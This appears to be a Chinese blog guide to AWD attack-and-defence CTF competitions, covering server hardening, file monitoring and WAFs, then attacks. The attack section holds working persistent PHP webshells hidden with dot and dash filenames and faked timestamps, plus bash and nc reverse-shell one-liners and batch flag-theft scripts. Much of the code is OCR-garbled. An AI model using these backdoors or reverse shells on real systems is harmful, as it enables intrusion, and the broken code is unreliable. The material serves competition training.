AWD攻防比赛流程手册

AWD简单介绍:

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

一、防御加固

1、Linux基本命令

1、文件备份-----------------
cat /etc/passwdpasswd.txt  备份basswdi文件
cat /etc/shadow shadow.txt  备份shadow.文件
netstat -anp netstat_anp.txt 备份当前网络连接
cp /bash history history.txt 备份历史命令
w users.txt 备份用户登录信息
ps aux ps.txt备份进程信自
2、用户信息分析--------------------
whoami 查看当前用户
who 查看当前登录系统的所有用户
w 显示登陆系统的用户列表,显示正在执行的指令
users 显示当前登录系统的所有用户的用户
last 查看最近登录成功的用户及信息
cat/etc/passwd 查看用户信息
3、进程信息分析---------------------------
top 动态查看进程
Isof-p pid 查看PID为xxx的进程打开的文件
Isof -c sshd 查看进程sshd打开的文件
Isof -i:port 查看端口对应的一些进程
netstat -pantu grep pid查看网络连接情况,通过过滤pid查看连接的端口
fuser -n tcp port 查看端口对应的进程pid
4、进程信息分析---------------------------
ps aux 查看进程
pstree 查看进程树
ps aux --sort -pcpu 查看进程,根据cpu使用从高到低
ps aux --sort -pmem 查看进程,根据内存使用从高到低
5、网络连接分析---------------------------
netstat -an 打印Linux中网络系统的状态信息
netstat -nat | awk '{print $6}'|sort | unig -c|sort -rn 查看TCP连接状态
6、异常文件分析---------------------------
find /var/-type f -mtime -3 | xargs ls -la 查看指定目录最近被修改的文件
find./ -mtime 0 -name "*.php" 查找24h内被修改的文件
find./ -ctime -2 -name "'*php" 查找72h查找72h内新增的
find./ -iname "*.php"-perm 777 权限查找
7、定时任务分析---------------------------
cat /etc/crontab
8、其他-----------------------------
netstat ps 查看端口与服务  与外连接情况
ps 端口和服务
passwd username   //ssh口令修改
grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2、WEB加固

1、网站后台密码

后台修改 //系统设置

数据库修改

如:
网站后台存在user这个表、网站账号admin账号、密码为123456
mysql -u root p 先登录mysql
select * form user;
update USER set password="147258" where id="admin";set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

查看是否留有后门账户 cat /etc/passwd

2、web网站-数据库备份

1、
tar-zcvf web.tar.gz web/ #压缩名.tar文件/目录
权限有问题的话,在当前目录用此命令
tar -zcvf web.tar  #所有文件打包
shell进行下载进行代码审计
2、
压缩源码:
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码:
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源:
scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器
1、寻找配置文件
通常在名为config.php 一类的文件中存放了数据库的账号密码
2、mysql数据库登录
mysql -u root p
3、备份目标数据库
mysqldump -u root -p --databases test /tmp/db.sql
--------------------------------------------------------------------
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
mysqldump –all -databases > all.sql
信息数据库:
mysql –u username –p password database < from.sql

后门查杀-webshell-不死马

1、通过命令查看可疑文件
find /var/www/html -name*.php -mmin -20 #查看最近20分钟修改文件
find./ -name *.php'| xargs wc-l |sort-u #寻找行数最短文件
grep -r --include=*.php '[a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval ("more
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
2、webshell查杀工具
河马
D盾
3、后门用户查杀
U1D大于500的都是非系统账号,500以下的都为系统保留的账号
userdel -r username4、杀弹反弹shell
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意www-data权限/bin/sh,最重要的是
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'5、不死马删除
ps aux grep www-data 查看进程
kill-9 pid 清除进程
5.1命令清除不死马
ps aux grep www-data awk '{print $2}'xargs kill-9ps aux列出进程信息grep www-data在进程信息中匹配目标awk'{print2}'提取pidxargs kill-9将pid作为参数传递给kill-9
5.2条件竞争清除
通过不断的向不死马中写入数据达到覆盖的效果
条件竞争
<?php
set_time_limit(o);
ignore_user_abort(true);
unlink(_FILE_);
while(1)
{file_put_contents('./shell.php','11111');usleep(o);
}
?>
5.3通过脚本方式
#!/bin/bash
while true;do rm -rf shell.php done5.4创建一个和不死马生成的木马一样名字的文件夹
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf sfile
mkdir $dire5.5可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");5.6删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
5.7上脚本删除 github项目很多
6、清除反弹shell
ps aux grep www-data 查看进程
清除进程
kill ps -aux grep www-dataa
awk '{print $2}'

3、日志分析-WAF-文件监控

目的:了解运行情况、发生的安全事件、分析取证、payload反制

3.1文件监控

1、文件监控备份运行文件监控脚本前所有文件删除新增非自用文件记录新增文件知晓文件变动历史防止别人恶意写入不死马,迅速恢复被修改的源码
2、文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import timeCWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):if noneToNull and value is None:return NULLif isListLike(value):value = list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errors="ignore")# 目录创建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno == errno.EEXIST and os.path.isdir(path):passelse: raise# 获取当前所有文件路径
def getfilelist(cwd):filelist = []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile = os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 计算机文件MD5值
def calcMD5(filepath):try:with open(filepath,'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()return hashexcept Exception, e:print u'[!] getmd5_error : ' + getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 获取所有文件MD5
def getfilemd5dict(filelist = []):filemd5dict = {}for ori_file in filelist:if Special_path_str not in ori_file:md5 = calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] = md5return filemd5dict# 备份所有文件
def backup_file(filelist=[]):# if len(os.listdir(Special_path['bak'])) == 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':print u'---------start------------'for value in Special_path:mkdir_p(Special_path[value])# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件ORIGIN_FILE_LIST = getfilelist(CWD)FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUGprint u'[*] pre work end!'while True:file_list = getfilelist(CWD)# 移除新上传文件diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) != 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f = open(filepath, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] webshell find : ' + getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : file move error: ' + getUnicode(e)# 防止任意文件被修改,还原被修改文件md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] != FILE_MD5_DICT[filekey]:try:f = open(filekey, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] file had be change : ' + getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : done_diff: ' + getUnicode(filekey)passtime.sleep(2)# print '[*] ' + getUnicode(time.ctime())

3.2日志分析

流量监控实现反打       重点---------------大型比赛的AWD竞赛都会提供流量包文件供选手查看,通过流量包可以审计出一些pay|oad,通过流量可以迅速进行批量反打。如果主办方不提供流量包,可以对网站入口文件挂上记录日志的文件,从而浏览记录下来的流量。
部署在网站目录,或者加在网站源码中。保存为txt,以供分析。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; /记录访问者的ip
$filename = $_SERVER['PHP_SELF]; /访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; /访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); /访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?.$parameter."\r\n"; 
Iog记录
$fh fopen("log.txt","a");
fwrite($fh,$logadd);
fclose($fh);
?>
网站日志存放位置:
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
GITHUB项目:

3.3WAF部署 

使用方法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.phpb).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。waf的作用:
最重要是分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。这样的话即使我们找 不到攻击点,非常苦恼的时候,我们就可以分析流量,使用别人的攻击方式。
可以直接进行防御,类似于一台防火墙(一般的比赛是不允许使用的,毕竟比赛时间短,就根本绕不过去waf,那比赛就没意思了)
有些比赛是不允许上通用waf的,check机制可能会check到waf过滤的参数,导致宕机,waf部署需要谨慎,还需要注意的是:上完waf检查服务是否可用,部分检查允许使用部分小的waf,会检查页面完整性、服务完整性。
常用的waf使用方法,是用你要保护的文件去包含这个waf.php。比如说,你要保护select.php,那么你就在select.php里面写上一行include './waf.php'或者 require_once('waf.php');
如果你要保护所有文件,那么就在config这种配置文件里包含waf,因为这种config的文件,一般会被大部分功能页面调用
网上很多waf脚本,这里介绍几个waf项目
1.AWD_PHP_WAF
项目地址:GitHub - NonupleBroken/AWD_PHP_WAF: a PHP WAF for AWD
使用方法:
使用前先修改config.php内的密码,密码使用sha256加密
上waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"
下waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"
比如访问 web 目录下的/waffffff/admin.php?password=1234562.CTF-WAF
项目地址:GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,带流量转发,日志审计功能。3.awd-watchbird
这是个通防waf,支持流量转发和替换flag
项目地址:GitHub - leohearts/awd-watchbird: A powerful PHP WAF for AWD
1.打包好好之后直接上传到html目录下,回到终端,在上传的waf目录下,使用命令
php watchbird.php --install /var/www/html
这样就能使每个页面的php代码包含到waf下
2.运行waf 之后,打开我们的web 页面,在任意一个php 页面后面输入?watchbird=ui,就会进入到waf 配置页面然后设置密码(注意:第一次打开需要设置密码)
3.配置好之后就能进入内部网页4.AoiAWD
项目地址:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。
使用方法:AoiAWD-萌新的得分利器
下载好,自己去编译或者找编译好的直接用文件寻找
1、寻找配置文件
find -name "nginx.conf" #定位nginx目录
find /-path "*nginx*"-name nginx*conf #定位nginx配置目录
find /-name "httpd.conf" #定位apache目录
find /-name "index.php" #定位网站目录
2、寻找日志文件
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/Ioca|/tomcat/logs #Tomcat日志目录
tail-f xxx.log #实时刷新滚动日志文件

4、PHP加固=PHP参数配置

首先找到PHP的配置文件/etc/php/{version}/php.ini
禁用高危函数disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置open_basedir(将用户访问文件范围限制在指定的区域)open_basedir=/var/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)magic_quotes_gpc = Off
关闭PHP伪协议allow_url_fopen = Off
allow_url_include = Off
重新PHPsudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service配置.htaccess
使用.htaccess配置文件禁止执行php文件<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 
</Directory>

5、漏洞修复

1、已知webshell

直接注释、或者删除即可

2、TOP10漏洞修复

1、SQL注入

1、基于黑名单
Sblacklist=
"regexp|from|count|procedureland|asciisubstr|substring|left|right |union|if|caselpowl expl
order |sleep|benchmark|intolload|outfilel dumpfilelload_filel join |showlselect |updatelset|co
ncat deletel alter |insert createlunion|or|dropnot|for|join is between group_concat|likelw
hereluserlasciilgreatestlmid substr|left|right |char |hexlord|casellimit|conv|tablelmysq1_h
istorylflagl count I rpad&*.|-";
if((preg_match("/".$blacklist."/is",$a)==1)(preg_match("/".$blacklist."/is",$b)==1)){die();                                                                                  

2、命令执行

1、调用函数进行参数过滤
<?php
$a=$_GET['cc'];
Ssangfor
"eval|assert|passthru|pcnt1_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|ch
own|shel1_execlproc_open|proc_get_status|ob_start";
if(preg_match("/".$sangfor."/is",$cc)==1){die();
$bb="phpinfo()";
call_user_func($cc,$bb);
?>
2、禁用函数
disable_functions=call_user_func,call_user_func_array,array_map,array_filter,ob_start,php
info,eval,assert,passthru,pcnt1_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgr
p,chown,shel1_exec

3、反序列化

1、PHP7.0特性为unserialize()提供过滤
<php
//将所有的对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>false]);
//将除Myc1ass和Myc1ass2之外的所有对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>["Myclass","Myclass2"]);
//默认情况下所有的类都是可接受的,等同于省略第二个参数
$data unserialize($foo,["allowed_classes"=true]);
?>
2、限制phar拓展php反序列化
$blacklist "phar|zip|compress.bzip2|compress.zlib|compress.bzip2";
if(preg_match("/".$blacklist."/is",$a)==1){die();      
}

4、文件上传

#修复参考:
严格限制上传的文件路径
文件扩展名服务端白名单校验
文件内容服务端校验
上传文件重命名
隐藏上传文件路径
限制相关上传文件目录的执行权限
前后端都对文件类型进行验证1、后端代码限制上传的文件类型(类型&后缀)和大小
if (($_FILES["Up10defile"]["type"]=="image/gif")&&(substr($_FILES["Up10defile"]["name"],
strrpos($_FILES ["Up10defile"]["name"],'.')+1))=='gif')&&($_FILES["file"]["size"]
<1024000){
else{die();
}2、强制给上传的文件添加后缀名,在不存在文件包含漏洞的情况下,该方法能最有效的防御攻击者上传执行木马
if (file_exists("upload_file/". $_FILES["Up10defile"]["name"])){echo $_FILES["Up10defile"]["name"].already exists.";
else{move_uploaded_file($_FILES["Upl0defile"]["tmp_name"],
"upload_file/". $_FILES["Up1odefile"]["name"].".gif");echo "Stored in: "."upload_file/" .$_FILES["Up10defile"]["name"].".gif";
}

文件包含

本地文件包含路径限制
$filename $_GET['filename']
$pattern ="\/.\.\/\.\/|etc|var|php|jpg|jpeg|png|bmp|gif";
if(preg_match("/".$pattern."/is",$filename)==1){echo"die00000000000000000000000000000";die();
}
include($filename);

原则:

  • 能修复的尽量修复;

  • 不能修复的先注释源码,不影响页面显示再删除;

  • 站点和对应的功能尽可能不宕机;

二、攻击

1、信息收集

## 一般比赛都会给定ip列表,给出相应的网段地址,选手可以根据ip列表去生成靶机列表。如果主办方不出具ip列表,可以使用nmap或者其他工具扫描对应网段,获取靶机ip。发现对方靶机服务
一、主机识别
1、nmap扫端口
nmap-sP 192.168.1.1/24 #扫描c段主机
nmap-sV 1.1.1.1-p1-65535 #探测端口的服务
nmap -sS -p 80,8080,3306 192.168.1.1/24 #扫描c段下的主机端口是否开放
主机探测:一般使用Nmap进行主机探测,探测范围为自己主机的C段
存活探测:nmap-sS 10.16.10.0/24   -sn 也可以
端口探测:nmap 10.16.10.19 -p 1-65535
2、目标识别脚本
import requests
for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass
3、gorailgunr
填好ip端口信息即可,支持导出CSV,然后进行筛选二、服务探测:
使用Nmap、Dirsearch和WEB指纹识别工具,获取靶机的开发语言,系统名称及版本等。还可以使用其他相应工具、和脚本,cms识别、目录扫描、各种安全工具安排上

2、攻击方式

1、提前准备:

漏洞库 、cms版本、中间件、框架漏洞、各种POC\EXP、各种漏扫项目、马子等等

2、攻击Web服务
  • 代码审计 //使用D盾、Seay源代码审计系统

  • 历史漏洞 //查看CMS针对性攻击 /使用扫描器进行探测

  • 手工测试 TOP10漏洞 /比赛较多cms框架漏洞、弱口令、命令执行、sql注入、服务漏洞等等

  • sql注入漏洞 —sql-shell执行select load_file(‘/flag’);即可得到flag

  • 文件包含漏洞,通过../../../../../../flag的方式获取flag

  • RCE漏洞有GET/POST根据情况而定 写payload

  • 弱口令进入后台写shell等等

3、漏扫项目:

XRAY、GOBY、Pocsuite3、漏洞库EXP、POC-bomber-main、wapiti3等等工具 如下:

1、wapiti3 支持大部分漏洞 地址:GitHub - wapiti-scanner/wapiti: Web vulnerability scanner written in Python3

安装:pip install wapiti3

使用:wapiti3 -u http://xxxx.xx // -l 1 测试等级

2、POC-bomber-main 地址:GitHub - tr0uble-mAker/POC-bomber: 利用大量高威胁poc/exp快速获取目标权限,用于渗透和红队快速打点

安装:git clone https://github.com/tr0uble-mAker/POC-bomber.git  cd POC-bomber pip install -r requirements.txt

使用:python3 pocbomber.py -u http://xxx.xxx //验证模式

     python3 pocbomber.py -u http://xxx.xxx --poc="thinkphp2_rce.py" --attack  //攻击模式

#### 4、关于已知后门利用

1、webshell工具查看 //较慢2、浏览器打开 get/POST3、脚本批量化

3、权限维持

3.1不死马
创建一个.config.php的文件写入不死马,带.的意义为可以隐藏,不容易被发现
1、第一种:
<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身while(1)
{file_put_contents('.config.php','<?php @eval($_POST["cmd"]);?>');  //创建.config.phpsleep(100);    //间隔时间100毫秒
}防御:
可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
不死马示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" shell2.php');usleep(5000);
}
?>#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,然后使用caidao输入http://xxx/shell2.php?pass=pass的路径,密码为a就可以链接一句话,由于pass是md5加密很难被破解也可以做到隐蔽,md5值可以随意定义。
写入shell, at.php内容<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .login.php');file_put_contents($file1,$code);system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');usleep(5000);
}
?>
浏览器访问at.php,会生成不死马at2.php
url/upload/at.php
再传入,执行命令,getshell
url/upload/at2.php?passwd=obse007&at=system('ls');
3.2反弹shell
1、利用一:nc反弹shell
bash-i>&/dev/tcp/192.168.182.130/66660>&1
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1
本地
nc -l -p 66662、利用二:定时任务反弹shell 
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash3、清除:
ps aux grep www-data 查看进程
kill ps -aux grep www-dataa
awk '{print $2}'
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
3.3写隐藏webshell
隐藏shell
shell很容易被发现,被删除就gg了,可以采用一些操作隐藏shell或使shell无法被删除
1.把shell.php命名为.shell.php
.shell.php在执行ls时无法被查看到,搭配ls的参数才能被发现
完整命令如下
mv shell.php .shell.php
ls -al
.shell.php
2.把shell.php命名为-shell.php
从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了
完整命令如下
[sss@ecs-centos-7 awd]$ ls
-shell.php
[sss@ecs-centos-7 awd]$ rm -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.
[sss@ecs-centos-7 awd]$ rm -rf -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.

4、权限提升

涉及加固等环节可能因为权限问题需要提权,收集提权POC 直接本地提权即可

Linux提权
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
参考漏洞
CVE-2023-0386(Linux OverlayFS权限提升漏洞)
CVE-2021-4034(Linux Polkit本地权限提升漏洞)
CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)
CVE-2016-5195(脏牛,内核 2.6.22 < 3.9 (x86/x64))
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
CVE-2017-1000367(sudo本地提权漏洞)
CVE-2016-1247(Nginx权限提升漏洞)
CVE-2017-16995(Ubuntu16.04内核:4.14-4.4)
地址:
http://www.exploit-db.com
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

5、快速攻击AAAAAA

在AWD中通常需要批量化进行攻击和fIag提交,此时通常使用Python脚本进行实

现,需要一定的编程基础。

1、后门webshell py

import requests
# 假设ip.txt文件包含以下内容:
# http://example.com
# http://anotherexample.com
# 读取ip.txt文件中的URL列表
with open('ip.txt', 'r') as u:urls = u.readlines()
# 遍历URL列表
for url in urls:# 移除URL末尾的换行符url = url.strip()# 构造完整的URL,这里假设我们要访问的路径是'/public/123.php'full_url = url + '/public/123.php'# 准备POST请求的数据data = {'c': 'systen('cat /flag')'}  # 这里应该根据实际情况来设置数据try:# 发送POST请求response = requests.post(full_url, data=data)# 检查响应状态码if response.status_code == 200:# 打印响应内容print(response.text)else:print(f"Request failed with status code {response.status_code}")except requests.exceptions.RequestException as e:# 打印请求异常信息print(f"An error occurred: {e}")

三、全局工作

1、准备工作

SSH/FTP远程连接、主机发现软件、常规漏扫软件、内存马/webshell(纯/图片)/软连接马、批量攻击框架(全场利用)、日志脚本/WAF、webshll查杀工具(D盾/河马)

2、前期

1、网站备份、修改默认口令

2、修复漏洞(D盾(已知webshell/网站漏洞))

3、是否上WAF/上传日志分析脚本(文件监控)

4、主机发现

5、漏洞利用(已知webshell) 手工/脚本批量

6、权限维持

3、中期

1、漏洞挖掘(代码审计/工具/手工测试)

2、日志分析(获取攻击方式反制)=漏洞持续修复

3、删除沦陷主机的马(webshell/内存马等等)

4、中后期

1、权限维持(上传不死马等等)

2、防守(加固/删除马)

5、赛后复盘

6、注意点

1.预留后门的权限维持

2.AWD一般使用cms,多准备cms的POC和EXP。

3.防守注意查看日志看别人是怎么攻击自己的,然后尝试攻击其他人。

4.检查后门,网站上没有d盾可以扫出来的后门,检查计划任务或者可疑进程等等。

5.比赛一轮10-20几分钟,时间紧张,提高自己的代码审计、自动化脚本的编写能力,实现自动化攻击。

四、AWD附件

AWD比赛脚本等等资源,联系博主!

参考了互联网各大文章视频等等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/29666.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

传统车牌识别

主要参考&#xff1a;https://blog.csdn.net/qq_40784418/article/details/105586644 其它介绍&#xff1a; https://blog.csdn.net/great_yzl/article/details/120127962 https://blog.csdn.net/onepunch_k/article/details/115480904 cv2.matchTemplate https://docs.ope…

php实现modbus CRC校验

一&#xff1a;计算CRC校验函数 function calculateCRC16Modbus($string) {$crcBytes [];for ($i 0; $i < strlen($string); $i 2) {$crcBytes[] hexdec(substr($string, $i, 2));}$crc 0xFFFF;$polynomial 0xA001; // This is the polynomial x^16 x^15 x^2 1fo…

05-5.5.1 哈夫曼树

